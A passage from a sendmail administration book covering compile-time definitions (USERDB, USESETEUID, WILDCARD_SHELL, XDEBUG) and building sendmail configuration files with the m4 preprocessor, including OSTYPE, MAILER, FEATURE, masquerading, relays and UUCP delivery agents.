The User Database (see Section 33.5) is code inside sendmail that allows sender and recipient addresses to be rewritten under the control of an external database. This code is automatically included in sendmail when you define NEWDB or HESIOD:

DBMDEF= -DNEWDB            <-  automatically include User Database code
DBMDEF= -DHESIOD           <-  automatically include User Database code

If you don't want to include support for the User Database, you need to specifically turn it off by setting USERDB to 0:

DBMDEF= -DNEWDB -DUSERDB=0
DBMDEF= -DHESIOD -DUSERDB=0

See UDB_DEFAULT_SPEC for a method to set a default for the database location. If you are running a precompiled sendmail binary, you may use the -d0.1 switch (see Section 37.5.1) to determine whether USERDB support is included.

18.8.55 USESETEUID

Support seteuid(2) identity changes

(port, edit conf.h)

.SS "seteuid routine" To perform most kinds of delivery in a safe manner, sendmail must be able to change its root identity to that of another user, deliver as that user, and then restore its identity to root. The preferred method for doing this is with the Posix 1 seteuid(2) routine. To determine whether your system correctly supports this routine, compile and run the program test/t_seteuid.c. The compiled binary must be suid-root and must be executed by an ordinary user.

# cc t_seteuid.c
# chmod u+s a.out
# suspend
% a.out
... lots of output here
This system cannot use seteuid

Here the output shows failure, so you do not have seteuid(2) support. Beginning with V8.8, a.out prints the following on success:

It is safe to define USESETEUID on this system

If the output had not shown failure or had shown success (if you had usable seteuid(2) support), you could take advantage of that support by defining USESETEUID in conf.h. In general, USESETEUID is correctly defined for all systems that can take advantage of this seteuid support.

If seteuid(2) failed, you need to investigate using setreuid(2) instead:

# cc t_setreuid.c
# chmod u+s a.out
# suspend
% a.out
initial uids (should be 678/0): r/euid=678/0
after setreuid(0, 1) (should be 0/1): r/euid=0/1
after setreuid(-1, 0) (should be 0/0): r/euid=0/0
after setreuid(realuid, 0) (should be 678/0): r/euid=678/0

after setreuid(0, 2) (should be 0/2): r/euid=0/2
after setreuid(-1, 0) (should be 0/0): r/euid=0/0
after setreuid(realuid, 0) (should be 678/0): r/euid=678/0

It is safe to define HASSETREUID on this system

Here, the test succeeded (no failure message was printed prior to V8.8). If your system can use setreuid(2), you can take advantage of it by defining HASSETREUID in conf.h.

No matter which you define, be sure to read src/READ_ME for possible pitfalls. Note that HASSETREUID and USESETEUID are correctly defined for all currently supported systems. You need to define one only if you are porting sendmail to a completely new system.

If you are running a precompiled sendmail binary, you can use the -d0.1 switch (see Section 37.5.1) to discover whether HASSETREUID or USESETEUID support is included.

18.8.56 WILDCARD-SHELL

Redefine wildcard shell

(debug, edit conf.c)

Ordinarily, sendmail prohibits ordinary users from running programs from inside their ~./forward files unless they have a valid login shell. This restriction is in place to prevent ordinary users from running arbitrary programs on a main mail server. Some sites prefer to allow users to run arbitrary programs despite the restriction about logging into the mail server. At such sites, one can bypass this restriction by placing the special string

/SENDMAIL/ANY/SHELL/

in the /etc/shells file. If, for some reason, you need to use a different string, you may do so by redefining WILDCARD_SHELL in conf.c.

If you enable arbitrary programs you should also implement the sendmail restricted shell smrsh (see Section 22.8.2, "The smrsh Program").

18.8.57 XDEBUG

Support sanity checks

(debug with ENVDEF= in Makefile)

In past releases of sendmail, changes in file descriptors and other key variables have sometimes occurred for reasons that remain a mystery to this day. Small "sanity checks" have been included in the code to discover such anomalies, should they happen again. To exclude these checks, redefine XDEBUG to 0:

ENVDEF= -DXDEBUG=0

Generally, however, XDEBUG should always remain enabled. It adds only a microscopic amount of overhead to sendmail and helps to certify sendmail's rational behavior.

If sendmail's notion of who it is (as defined by the $j macro; see Section 31.10.20, $j) gets trashed by losing all its dots, sendmail will log the following at LOG_ALERT if XDEBUG is defined, dump its state (see Section 26.3.3, "SIGUSR1 Dump States"), and abort(3):

daemon process $j lost dot; see syslog

At startup the value in the $j macro (see Section 31.10.20) is appended to the class w (see Section 32.5.8, $=w). If sendmail is compiled with XDEBUG, it periodically checks to make sure that $j is still listed in class w. If $j should vanish, sendmail will log the following at LOG_ALERT, dump its state (see Section 26.3.3), and abort(3):

daemon process doesn't have $j in $=w; see syslog

With XDEBUG defined, sendmail periodically checks to see whether its standard I/O file descriptors have gotten clobbered. If so, it logs the following and tries to recover by connecting it to /dev/null:

where: fd which not open

Here, where will reflect the internal subroutine name and arguments that led to the check, and which will be the bad file descriptor number.

If you are running a precompiled sendmail binary, you can use the -d0.1 switch (see Section 37.5.1) to determine whether XDEBUG support is included.

Previous: 18.7 Pitfalls | sendmail | Next: 19. V8 m4 Configuration
18.7 Pitfalls | Book Index | 19. V8 m4 Configuration


[Chapter 19] V8 m4 Configuration

sendmailSearch this book
Previous: 18.8 Alphabetized Reference Chapter 19 Next: 19.2 Build with m4

19. V8 m4 Configuration

Contents:
The m4 Preprocessor
Build with m4
The Minimal mc File
m4 Macros by Function
Pitfalls
Alphabetized m4 Macros

V8 sendmail provides an easy way to create a custom configuration file for your site. In the cf subdirectory of the V8 sendmail source distribution you will find a file named README. It contains easy-to-understand, step-by-step instructions that allow you to create a custom configuration file for your site. This chapter supplements that file.

19.1 The m4 Preprocessor

Creating a configuration file with m4(1) is simplicity itself. The m4(1) program is a macro preprocessor that produces a sendmail configuration file by processing a file whose name ends in .mc (for macro configuration). That is, it processes (reads) its input and gathers definitions of macros, then replaces those macros with their values and outputs the result.

This use of macros is much the same as that described in Section 7.1, "Overview", except that m4's rules are different. With m4, macros are defined (given values) like this:

define(macro,value)

Here, the macro is a symbolic name that you will use later. Legal names must begin with an underscore or letter and may contain letters, digits, and underscores. The value can be any arbitrary text. A comma separates the two, and that comma can be surrounded with optional whitespace.

There must be no space between the define and the left parenthesis. The definition ends with the right parenthesis.

To illustrate, consider this one-line m4 source file named /tmp/x:

           input text to be converted
             -v
define(A,B)A

the m4 definition

When m4 is run to process this file, the output produced shows that A (the input) is redefined to become B:

% m4 /tmp/x
B

19.1.1 m4 is greedy

The m4 program is greedy. That is, if a macro is already defined, its value will replace its name in the second declaration. Consider this input file:

define(A,B)
define(A,C)
A B

Here, the first line assigns the value B to the macro named A. The second line notices that A is a define macro, so m4 replaces that A with B and then defines B as having the value C. The output of this file, after processing with m4, will be:

C C

To prevent this kind of greedy behavior (and to prevent the confusion it can create), you may quote an item to prevent m4 from interpreting it. zzz You quote with m4 by surrounding each item with left and right single quotes:

define(A,B)
define(`A',C)
A B

Here, the first line defines A as B as before. But the second line no longer sees A as a macro. Instead, the single quotes allow A to be redefined as C. So the output is now:

C B

Although it is not strictly necessary, we recommend that all macro and value pairs be quoted. The above should generally be expressed like this:

define(`A',`B')
define(`A',`C')
A B

This is the form that we use when illustrating m4 throughout this book.

19.1.2 m4 and dnl

Another problem with m4 is that it replaces its commands with empty lines. The above define commands, for example, will actually print like this:

  <-  a blank line
                             <-  a blank line
A B

To suppress this insertion of blank lines, you can use the special m4 command dnl (for Delete through New Line). That command looks like this:

define(`A',`B')dnl
define(`A',`C')dnl
A B

You can use dnl to remove blank lines where they might prove inconvenient or unsightly in a configuration file.

19.1.3 m4 and arguments

When an m4 macro name is immediately followed by a right parenthesis, it is treated like a function call. Arguments given to it in that role are used to replace $digit expressions in the original definition. For example, suppose the macro CONCAT is defined like this:

define(`CONCAT',`$1$2$3')dnl

and then later used like this:

CONCAT(`host', `.', `domain')

The result will be that host will replace $1, the dot will replace $2, and the domain will replace $3, all jammed tightly together just as `$1$2$3' were:

host.domain

Macro arguments are used to create such techniques as FEATURE() and OSTYPE(), which are described later in this chapter.

19.1.4 m4 diversions

One of the m4 program's strengths is its ability to divide its input into different parts and to later reassemble them in a more logical fashion. Consider, for example, the desire to output all options together. One way to do this is with the m4 program's divert and undivert commands, for example,

divert(1)dnl
O ALIASFILE=/etc/aliases
divert(2)dnl
Pfirst-class=0
divert(1)dnl
O OperatorChars=.:%@!^/[]+
undivert(1)dnl
undivert(2)dnl

Here, the divert(1) causes all subsequent lines (up to the next divert or next undivert) to be held in a buffer numbered one. Buffer one will hold all the options. The second divert switches to buffer two, which is used to hold priorities. The third divert switches back to buffer one.

The undivert(1) causes all the options gathered in buffer one to be output, and the undivert(2) causes the priorities to be output. The result looks like this:

O ALIASFILE=/etc/aliases
O OperatorChars=.:%@!^/[]+
Pfirst-class=0

The diversions used by sendmail's m4 technique are listed in Table 19.1. In general, the macros listed should be used in place of diversion numbers because the meaning of those numbers may be changed in future versions of sendmail.

Table 19.1: m4 Diversions Used and Reserved by sendmail
divert | Description
(-1) | Internal to m4(1), tells it ignore all lines that follow
(0) | Internal to m4(1), tells it to stop diverting and to output immediately
(1) | Local host detection and resolution with LOCAL_NET_CONFIG (see Section 19.6.37, LOCAL-NET-CONFIG)
(2) | Rule set 3 (via 96) additions with LOCAL_RULE_3 (see Section 19.6.35, LOCAL-RULE-3)
(3) | Rule set 0 (via 98) additions with LOCAL_RULE_0 (see Section 19.6.32, LOCAL-RULE-0)
(4) | Rule set 0 UUCP additions (Section 19.4.6, "UUCP")
(5) | Locally interpreted names (overrides $R) with LOCAL_USER (Section 19.6.38, LOCAL-USER)
(6) | Local configuration (at top of file) with LOCAL_CONFIG (see Section 19.6.30, LOCAL-CONFIG)
(7) | Delivery agent definitions with MAILER (see Section 19.3.2, "MAILER()") and MAILER_DEFINITIONS (see Section 19.6.40, MAILER-DEFINITIONS)
(8) | unused
(9) | Rule sets 1 and 2 with LOCAL_RULE_1 and LOCAL_RULE_2 (see Section 19.6.34, LOCAL-RULE-2), rule set 5, and LOCAL_RULESETS (see Section 19.6.36, LOCAL-RULESETS)

Previous: 18.8 Alphabetized Reference | sendmail | Next: 19.2 Build with m4
18.8 Alphabetized Reference | Book Index | 19.2 Build with m4


[Chapter 19] 19.2 Build with m4

sendmailSearch this book
Previous: 19.1 The m4 Preprocessor Chapter 19
V8 m4 Configuration 		Next: 19.3 The Minimal mc File

19.2 Build with m4

The process of building a sendmail configuration file begins by creating a file of m4 statements. Traditionally, the suffix for such files is .mc. The cf/cf directory contains examples of many mc files. Of special interest are those that begin with generic, for these can serve as boilerplates in developing your own mc files:

generic-bsd4.4.mc       generic-solaris2.mc
generic-hpux10.mc       generic-sunos4.1.mc
generic-hpux9.mc        generic-ultrix4.mc
generic-osf1.mc

All mc files require specific minimal statements. For a SunOS 4.1.4 site on the Internet, for example, the following are minimal:

OSTYPE(sunos4.1)dnl	  <-  see Section 19.3.1, "OSTYPE()"
MAILER(local)dnl		  <-  see Section 19.3.2
MAILER(smtp)dnl		  <-  see Section 19.3.2

To build a configuration file from these statements, you would place them into a file, say localsun.mc, then run the following command:

% m4  ../m4/cf.m4 localsun.mc > sendmail.cf

Here, the ../m4/cf.m4 tells m4 where to look for its default configuration file information.

If you are using an old version of m4, the following error message will be printed:

You need a newer version of M4, at least as new as
System V or GNU
m4: file not found: NoSuchFile

Just as the messages says, you need a newer version of m4. (The third line is just a result of forcing m4 to fail and may be safely ignored.) In our localsun.mc example we would need to rerun it as

% /usr/5bin/m4  ../m4/cf.m4 localsun.mc > sendmail.cf

  System V version of m4

Another cause of failure could be that the ../m4/cf.m4 file was not where you thought it was. Various versions of m4 print this error in different ways:

/usr/5bin/m4:-:1 can't open file                   <-  SysV m4
m4: ../m4/cf.m4: No such file or directory         <-  GNU m4
m4: file not found: ../m4/cf.m4                    <-  BSD m4

One possible reason for this error might be that you are developing your mc file somewhere other than in the cf/cf directory. [1] The solution is to use a full pathname to cf.m4 or to replace that expression on the command line with a shell variable.

[1] This is actually a good idea. It prevents new sendmail distributions from clobbering your mc files.

After you have successfully produced a "first draft" of your configuration file, you can edit localsun.mc and add features as you need them. Many possibilities are described in the rest of this chapter.

19.2.1 Maintain local files with _CF_DIR_

It can be advantageous to maintain all the files that make up your local m4 configuration separately from the sendmail distribution. This prevents new releases of sendmail from clobbering your source files. It also allows you to maintain configuration information more conveniently (perhaps under rcs(1) control) and to use programs like make(1) to simplify configuring and installation.

Most modern versions of m4 allow you to define macros on the command line, and one such macro is recognized internally by the m4 technique:

_CF_DIR_

This macro tells m4 where the m4/cf.m4 file described above is located. This macro needs to be set to the cf directory under the sendmail source distribution, and it needs to end in a slash character. For example, GNU m4 version 1.2 allows this:

% setenv CFDIR /usr/local/src/mail/sendmail/cf/
% /usr/local/gnu/bin/m4 -D_CF_DIR_=${CFDIR} ${CFDIR}m4/cf.m4 localsun.mc \
    > sendmail.cf

Notice that we store the value for _CF_DIR_ in an environmental variable. [2] If your version of m4 lacks this ability, you should consider upgrading.

[2] Note that gnu m4 can figure out the _CF_DIR_ path itself from the path of the cf.m4 file. We include _CF_DIR_ here for example purposes.

By using the _CF_DIR_ macro, configuration and installation can be further simplified by using make(1). To illustrate, consider the following few lines from a Makefile on a SunOS system:

M4=/usr/local/gnu/bin/m4
CFDIR=/usr/local/src/mail/sendmail/cf/
localsun: localsun.mc
        $(M4) -D_CF_DIR_=$(CFDIR) $(CFDIR)/m4/cf.m4 localsun.mc > sendmail.cf

With this Makefile the above two complex command lines are reduced to a single, simple command line:

% make

Previous: 19.1 The m4 Preprocessor | sendmail | Next: 19.3 The Minimal mc File
19.1 The m4 Preprocessor | Book Index | 19.3 The Minimal mc File


[Chapter 19] 19.3 The Minimal mc File

sendmailSearch this book
Previous: 19.2 Build with m4 Chapter 19
V8 m4 Configuration 		Next: 19.4 m4 Macros by Function

19.3 The Minimal mc File

Every mc file requires minimal information. Table 19.2 shows which m4 items are required and also lists two that are recommended.

Table 19.2: Required and Recommended m4 Items
Item |  |  | Description
OSTYPE() | Section 19.3.1 | Required | Support for your operating system
MAILER() | Section 19.3.2 | Required | Necessary delivery agents
DOMAIN() | Section 19.3.3, "DOMAIN()" | Recommended | Common domain wide information
FEATURE() | Section 19.3.4, "FEATURE()" | Recommended | Solutions to special needs

Note that what is minimally required for a workstation differs from what is minimally required for a central mail server. We recommend that you use these recommendations as a jumping-off point and investigate all the m4 techniques that are available.

19.3.1 OSTYPE()

Support for various operating systems is supplied with the OSTYPE m4 command. Every mc file must declare the operating system with this command. The available support is supplied by files in the _CF_DIR_/ostype directory. A listing of those files looks something like this:

aix2.m4         bsdi1.0.m4      irix4.m4        ptx2.m4         ultrix4.m4
aix3.m4         bsdi2.0.m4      irix5.m4        riscos4.5.m4    unknown.m4
altos.m4        dgux.m4         isc4.1.m4       sco3.2.m4       uxpds.m4
amdahl-uts.m4   domainos.m4     linux.m4        solaris2.m4
aux.m4          dynix3.2.m4     maxion.m4       sunos3.5.m4
bsd4.3.m4       hpux10.m4       nextstep.m4     sunos4.1.m4
bsd4.4.m4       hpux9.m4        osf1.m4         svr4.m4

To include support, select the file that best describes your operating system, delete the .m4 suffix from its name, and include the resulting name in an OSTYPE declaration:

OSTYPE(`ultrix4.1')

Here, support for the DEC Ultrix operating system is defined. Note that some of these are not entirely accurate. For example, ultrix4.1.m4 includes support for Ultrix versions 4.2 and 4.3, and sunos4.1.m4 includes support for SunOS versions 4.1.2, 4.1.3., and 4.1.4.

If you pick a name for which no file exists, or if you misspell the name of the file, an error similar to the following will print:

m4: Can't open ../ostype/ultrux4.1.m4: No such file or directory

If you omit the OSTYPE declaration entirely, you will get the following error:

*** ERROR: No system type defined (use OSTYPE macro)

19.3.2 MAILER()

Delivery agents are not automatically declared. Instead, you must specify which ones you want to support and which ones to ignore. Support is included by using the MAILER m4 macro:

MAILER(`local')

This causes support for both the local and prog delivery agents to be included. This is the minimal declaration (even if you don't intend to perform local or program delivery).

Other delivery agents that are recognized by the MAILER() technique are listed in Table 19.3.

Table 19.3: MAILER Delivery Agents
MAILER() | Delivery agents it declares
cyrus | cyrus, cyrusbb
fax | fax
local | local, prog
mail11 | mail11
phquery | ph
pop | pop
procmail | procmail
smtp | smtp, esmtp, smtp8, relay
usenet | usenet
uucp\*= | uucp, uucp-old, uucp-new, uucp-dom, uucp-uudom

If you use both uucp and smtp, put smtp first.

New delivery agents can be created by devising a new m4 file in the _CF_DIR_/mailers directory. The MAILER() m4 technique performs its inclusion by reading a file with the delivery agent name suffixed with .m4 from that directory.

Some delivery agent equates, such as F= and M=, can be modified with the m4 configuration technique. Table 30.1 (see Section 30.4, "The Equates") lists all the equates and shows where to find further information about each of them. By investigating those sections, you can discover how to tune particular equates with the m4 technique. For example, the following mc lines define the program used for local delivery to be mail.local:

define(`LOCAL_MAILER_PATH', `/usr/local/bin/mail.local')
MAILER(local)

Note that all modifications to equates must precede the corresponding MAILER() definition. See Section 30.3, "m4 Configuration Syntax" for a complete description of MAILER() and all the ins and outs of using it.

Also note that beginning with V8.8, the MAILER_DEFINITIONS m4 command (see Section 19.6.40) can be used to force your delivery agent definitions to be grouped with the others.

19.3.3 DOMAIN()

For large sites it can be advantageous to gather all configuration decisions that are common to the entire domain into a single file. The directory to hold domain information files is called _CF_DIR_/domain. The configuration information in those files is accessed by using the DOMAIN() m4 technique, for example,

DOMAIN(`uofa.edu')

This line in any of your mc files causes the file _CF_DIR_/domain/uofa.edu.m4 to be included at that point. Examples that come with the distribution illustrate subdomains under Berkeley.EDU. One boilerplate file, named generic.m4, can be used as a starting point for your own domainwide file. For example, if all hosts at your site masquerade behind one email name, you might want to put MASQUERADE_AS (see Section 19.6.42, MASQUERADE-AS) in your domain file. Domain files also form a natural location for the definition of site-specific relays (see Section 19.4.5, "Relays").

If the domain that is specified does not exist or is misspelled, an error similar to the following will be printed:

m4: Can't open ../domain/generik.m4: No such file or directory

The use of DOMAIN() is not mandatory but is recommended.

19.3.4 FEATURE()

V8 sendmail offers a number of features that you may find very useful. To include a feature, include an m4 command like one of the following in your mc file:

FEATURE(keyword)
FEATURE(keyword, argument)

These declarations causes a file of the name _CF_DIR_/feature/keyword.m4 to be read at that place in your .mc file. The available keyword files are summarized in Table 19.4 and each is explained in the section at the end of this chapter. Note that some keywords require an additional argument.

Table 19.4: FEATURE Keywords
Keyword |  | Version | Description
allmasquerade | Section 19.6.6, FEATURE(allmasquerade) | V8.2 and above | Masquerade the sender too
always_add_domain | Section 19.6.7, FEATURE(always-add-domain) | V8.1 and above | Add the local domain even on local mail
bestmx_is_local | Section 19.6.8, FEATURE(bestmx-is-local) | V8.6 and above | Accept best MX record as local if in $=w
bitdomain | Section 19.6.9, FEATURE(bitdomain) | V8.1 and above | Convert BITNET addresses into Internet addresses
domaintable | Section 19.6.10, FEATURE(domaintable) | V8.2 and above | Accept old as equivalent to new domain
genericstable | Section 19.6.11, FEATURE(genericstable) | V8.8 and above | Transform sender addresses
limited_masquerade | Section 19.6.12, FEATURE(limited-masquerade) | V8.8 and above | Only masquerade $=M hosts
local_procmail | Section 19.6.13, FEATURE(local-procmail) | V8.7 and above | Use procmail(1) as local delivery agent
mailertable | Section 19.6.14, FEATURE(mailertable) | V8.1 and above | Database selects new delivery agents
masquerade_entire_domain | Section 19.6.15, FEATURE(masquerade-entire-domain) | V8.8 and above | Masquerade all hosts under a domain
masquerade_envelope | Section 19.6.16, FEATURE(masquerade-envelope) | V8.7 and above | Masquerade the envelope too
nocanonify | Section 19.6.17, FEATURE(nocanonify) | V8.1 and above | Don't canonify with $[ and $]
nodns | Section 19.6.18, FEATURE(nodns) | V8.6 | Omit DNS support from configuration file
nouucp | Section 19.6.19, FEATURE(nouucp) | V8.1 and above | Eliminate all UUCP support
nullclient | Section 19.6.20, FEATURE(nullclient) | V8.6 and above | Relay all mail through a mail host
redirect | Section 19.6.21, FEATURE(redirect) | V8.1 and above | Add support for address.REDIRECT
smrsh | Section 19.6.22, FEATURE(smrsh) | V8.7 and above | Use smrsh (sendmail restricted shell)
notsticky | Section 19.6.23, FEATURE(notsticky) | V8.1 thru V8.6 | Don't differ user from user@local.host
stickyhost | Section 19.6.24, FEATURE(stickyhost) | V8.7 and above | Differ user from user@local.host
use_ct_file | Section 19.6.25, FEATURE(use-ct-file) | V8.7 and above | Use /etc/sendmail.ct for a list of trusted users
use_cw_file | Section 19.6.26, FEATURE(use-cw-file) | V8.1 and above | Use /etc/sendmail.cw for local hostnames
uucpdomain | Section 19.6.27, FEATURE(uucpdomain) | V8.1 and above | Convert UUCP hosts via a database
virtusertable | Section 19.6.28, FEATURE(virtusertable) | V8.8 and above | Support for virtual domains

All the features available are described in detail at the end of this chapter (see Section 19.6, "Alphabetized m4 Macros").

Previous: 19.2 Build with m4 | sendmail | Next: 19.4 m4 Macros by Function
19.2 Build with m4 | Book Index | 19.4 m4 Macros by Function


[Chapter 19] 19.4 m4 Macros by Function

sendmailSearch this book
Previous: 19.3 The Minimal mc File Chapter 19
V8 m4 Configuration 		Next: 19.5 Pitfalls

19.4 m4 Macros by Function

The m4 technique uses a huge number of macros to accomplish the complex task of creating configuration files for all possible circumstances. Most are detailed in the reference section at the end of this chapter. Others are documented in chapters dedicated to particular subjects. Here, we summarize all m4 macros by classification or function.

19.4.1 Options

Options may be set, unset, and changed in your mc file with simple define statements. For example, the following line sets the location of the alias file and thus the AliasFile (A) option:

define(`ALIAS_FILE', `nis:-N mail.aliases')

Configuring options with the m4 technique is described in Section 34.3, "Configuring with V8 m4 Options" (with the individual m4 option names listed in Table 34.3 of that section). Options are described in general in Chapter 34, Options.

19.4.2 Define Macros

Defined macros may be declared in your mc file. Those that are useful are listed in Table 31.5 of Section 31.8, "Macros with the m4 Technique". That section also describes the general technique of defining macros via m4. To illustrate, for example,

define(`BITNET_RELAY', `host.domain')

causes the value host.domain to be assigned to the $B macro. Non-m4 specific defined macros can be declared with the LOCAL_CONFIG technique (see Section 19.6.30).

19.4.3 Rules and rule sets

The m4 technique allows custom rules and rule sets to be inserted in a variety of convenient ways. The complete list of m4 keywords that affect rules is shown in Table 19.5.

Table 19.5: Rule and Rule Set Keywords
Keyword |  | Sendmail Version | Description
LOCAL_CONFIG | Section 19.6.30 | V8.1 and above | Add general information and rules
LOCAL_RULE_0 | Section 19.6.32 | V8.1 and above | Add rules to rule set 0
LOCAL_RULE_1 | Section 19.6.34 | V8.1 and above | Add rules to rule set 1
LOCAL_RULE_2 | Section 19.6.34 | V8.1 and above | Add rules to rule set 2
LOCAL_RULE_3 | Section 19.6.35 | V8.1 and above | Add rules to rule set 3
LOCAL_RULESETS | Section 19.6.36 | V8.8 and above | Group local rules with others
LOCAL_NET_CONFIG | Section 19.6.37 | V8.6 and above | Add rules for SMART_HOST

To illustrate, consider the following technique for adding a rule to rule set 0:

LOCAL_RULE_0
R$* <@ $=w . $=m> $*        $#local $: $1      @here.ourdomain

Here, we add a rule to rule set 0 that accepts any address with a host part in the class $=w (see Section 32.5.8, $=w) that is also in one of the local domains as listed in the class $=m (see Section 32.5.3, $=m) as local address.

19.4.4 Masquerading

Masquerading is the process of transforming the local hostname in addresses into that of another host. This results in the mail message appearing to come from that other host rather than from the local host. Masquerading is most often used in domains where email is addressed to the domain rather than to individual hosts inside the domain.

Masquerading usually rewrites header-sender addresses. Some m4 features allow you also to rewrite envelope addresses. The complete list of all definitions and features that affect masquerading is shown in Table 19.6.

Table 19.6: Defines and Features Affecting Masquerading
What |  | Version | Masquerade
EXPOSED_USER | Section 19.6.4, EXPOSED-USER | V8.6 and above | All but these
FEATURE(allmasquerade) | Section 19.6.6 | V8.2 and above | The recipient too
FEATURE(limited_masquerade) | Section 19.6.12 | V8.8 and above | Only $=M hosts
FEATURE(masquerade_entire_domain) | Section 19.6.15 | V8.8 and above | All of a domain
FEATURE(masquerade_envelope) | Section 19.6.16 | V8.7 and above | The envelope too
MASQUERADE_AS | Section 19.6.42 | V8.6 and above | Another host
MASQUERADE_DOMAIN | Section 19.6.43, MASQUERADE-DOMAIN | V8.6 and above | Other domains
MASQUERADE_DOMAIN_FILE | Section 19.6.44, MASQUERADE-DOMAIN-FILE | V8.6 and above | Other domains

19.4.5 Relays

A relay is a rule that sends all of one type of mail to a specific destination. One example would be email FAX transmissions. Clearly, even though local mail should be delivered locally, mail to the pseudo-user fax should always be sent to a special FAX-handling machine.

The complete list of relays supported by the V8 sendmail m4 technique is shown in Table 19.7.

Table 19.7: Relays
Relay |  | Version | Description
BITNET_RELAY | Section 31.10.5, $B | V8.1 and above | The BITNET relay
DECNET_RELAY | Section 31.10.9, $C | V8.7 and above | The DECnet relay
FAX_RELAY | Section 31.10.15, $F | V8.6 and above | The FAX relay
LOCAL_RELAY | Section 19.6.31, LOCAL-RELAY | V8.1 and above | Relay for unqualified users
LUSER_RELAY | Section 31.10.23, $L | V8.7 and above | Relay for unknown local users
MAIL_HUB | Section 19.6.41, MAIL-HUB | V8.6 and above | All local delivery on a central server
SMART_HOST | Section 19.6.47, SMART-HOST | V8.6 and above | The ultimate relay
UUCP_RELAY | Section 19.6.48, UUCP-RELAY | V8.1 and above | The UUCP relay

All relays are declared in the same fashion. For example,

define(`LOCAL_RELAY',`agent:host')

Here, agent is the name of a delivery agent to use, and host is the name of the machine to which all such mail will be relayed. If agent: is missing, it defaults to a literal relay:.

If the host is listed under a domain that uses wild-card MX records (see Section 21.3.4, "Wildcard MX Records"), you should specify it with a trailing dot; for example,

define(`LOCAL_RELAY', `smtp:relay.sub.domain.')

                                        trailing dot

Relays fit into the flow of rules through rule set 0 like this:

  1. 1. Basic canonicalization (list syntax, delete local host, etc.)

  2. 1. Basic canonicalization (list syntax, delete local host, etc.)

  3. 1. Basic canonicalization (list syntax, delete local host, etc.)

  4. 2. LOCAL_RULE_0 (see Section 19.6.32)

  5. 3. FEATURE(mailertable) (see Section 19.6.14)

  6. 4. UUCP_RELAY, BITNET_RELAY, FAX_RELAY, DECNET_RELAY

  7. 5. LOCAL_NET_CONFIG (see Section 19.6.37)

  8. 6. SMART_HOST

  9. 7. SMTP, local, etc. delivery agents

19.4.6 UUCP

The m4 configuration technique includes four UUCP options to choose from. They are listed in Table 19.8.

Table 19.8: UUCP Support
Relay |  | Version | Description
SITE | Section 19.6.45, SITE | V8.1 and above | Declare sites for SITECONFIG (obsolete)
SITECONFIG | Section 19.6.46, SITECONFIG | V8.1 and above | Local UUCP connections (obsolete)
UUCP_RELAY | Section 19.6.48 | V8.1 and above | The UUCP relay
UUCPSMTP | Section 19.6.49, UUCPSMTP | V8.1 and above | Individual UUCP to network translations

Note that two items in the table are marked as obsolete. This is because all of their functions have been moved into the mailertable feature (see Section 19.6.14). They are included for backward compatibility with early configuration file versions.

Support for UUCP can be included in your mc file with the MAILER command (see Section 19.3.2):

MAILER(uucp)

This declares six [3] delivery agents and the rules to support them. They are listed in Table 19.9.

[3] Actually, there are only four; uucp and uucp-old are synonyms for the same agents, as are suucp and uucp-new.

Table 19.9: UUCP Delivery Agents
Agent |  | Version | Description
uucp-old | Section 19.4.6.1, "uucp-old (aka uucp)" | V8.6 and above | Old-style, all ! form of UUCP
uucp | Section 19.4.6.1 | V8.1 and above | Synonym for the above (obsolete)
uucp-new | Section 19.4.6.2, "uucp-new (aka suucp)" | V8.6 and above | Old-style with multiple recipients
suucp | Section 19.4.6.2 | V8.1 and above | Synonym for the above (obsolete)
uucp-uudom | Section 19.4.6.3, "uucp-uudom" | V8.6 and above | Domain-form headers, old-form envelope
uucp-dom | Section 19.4.6.4, "uucp-dom" | V8.6 and above | Domain-form headers and envelope

If support for SMTP delivery agents is also included prior to UUCP, then the last two additional delivery agents are included (uucp-dom and uucp-uudom). Note that smtp must be first for this to happen:

MAILER(smtp)
MAILER(uucp)

If uucp is first, uucp-dom and uucp-uudom are excluded.

When processing UUCP mail (addresses that contain a ! and those that end in a .UUCP suffix), sendmail routes to those hosts on the basis of the class in which they were found. Hosts that are found in $=U deliver via uucp-old, hosts in $=Y deliver via uucp-new, and hosts in $=Z deliver via uucp-uudom.

The choice of which delivery agent to use for UUCP delivery is under the control of the SITECONFIG m4 macro described above (see Section 19.6.46). Which you choose depends on what version of UUCP you are running locally and what version is being run at the other end of the connection. There are far too many variations on UUCP to allow specific recommendations here. In general, you need to choose between a domain form of address (gw@wash.dc.gov) and a UUCP form (wash!gw) and then go with the delivery agent that makes the most sense for you. We recommend that you start with the most domain-correct agent, uucp-dom, and see if it works for you. If not, scale back to uucp-uudom, then to uucp-new and finally to uucp-old as a last resort.

19.4.6.1 uucp-old (aka uucp)

If you are running an old version of UUCP, you may have to use this delivery agent. All addresses are turned into the ! form even if they were in domain form:

user                  ->  becomes   ->       yourhost!user
user@host.domain      ->  becomes   ->       yourhost!host.domain!user

This delivery agent can deliver only to one recipient at a time, so it can spend a lot of time transmitting duplicate messages. If at all possible, avoid using this delivery agent.

19.4.6.2 uucp-new (aka suucp)

Newer releases of UUCP can send to multiple recipients at once. If yours is such a release, you may use the uucp-new delivery agent. It is just like uucp-old except that it can perform multiple deliveries.

19.4.6.3 uucp-uudom

More modern implementations of UUCP can understand and correctly handle domain style addresses in headers (although they still require the ! form in the envelope). If yours is such an implementation, you may use the uucp-uudom delivery agent.

At the receiving end, the message mail arrives with the five character "From " line showing the sender address in the ! form. The "From " line reflects the envelope address.

19.4.6.4 uucp-dom

The uucp-dom is the most domain-correct form of the available UUCP delivery agents. All addresses, envelope and header, no matter whether or not they began in the ! form, are sent out in domain form. Essentially, this uses UUCP as a transport mechanism, but in all other respects it adheres to the Internet standards.

Previous: 19.3 The Minimal mc File | sendmail | Next: 19.5 Pitfalls
19.3 The Minimal mc File | Book Index | 19.5 Pitfalls


[Chapter 19] 19.5 Pitfalls

sendmailSearch this book
Previous: 19.4 m4 Macros by Function Chapter 19
V8 m4 Configuration 		Next: 19.6 Alphabetized m4 Macros

19.5 Pitfalls

The use of the # to place comments into an mc file for eventual transfer to your configuration file may not work as expected. The # is not special to m4, so m4 continues to process a line even though that line is a comment. So instead of

# Here we define $m as our domain

(which would see define as an m4 keyword), use single quotes to insulate all such comments from m4 interpretation:

# `Here we define $m as our domain'

Previous: 19.4 m4 Macros by Function | sendmail | Next: 19.6 Alphabetized m4 Macros
19.4 m4 Macros by Function | Book Index | 19.6 Alphabetized m4 Macros


[Chapter 19] 19.6 Alphabetized m4 Macros

sendmailSearch this book
Previous: 19.5 Pitfalls Chapter 19
V8 m4 Configuration 		Next: 20. The checkcompat() Cookbook

19.6 Alphabetized m4 Macros

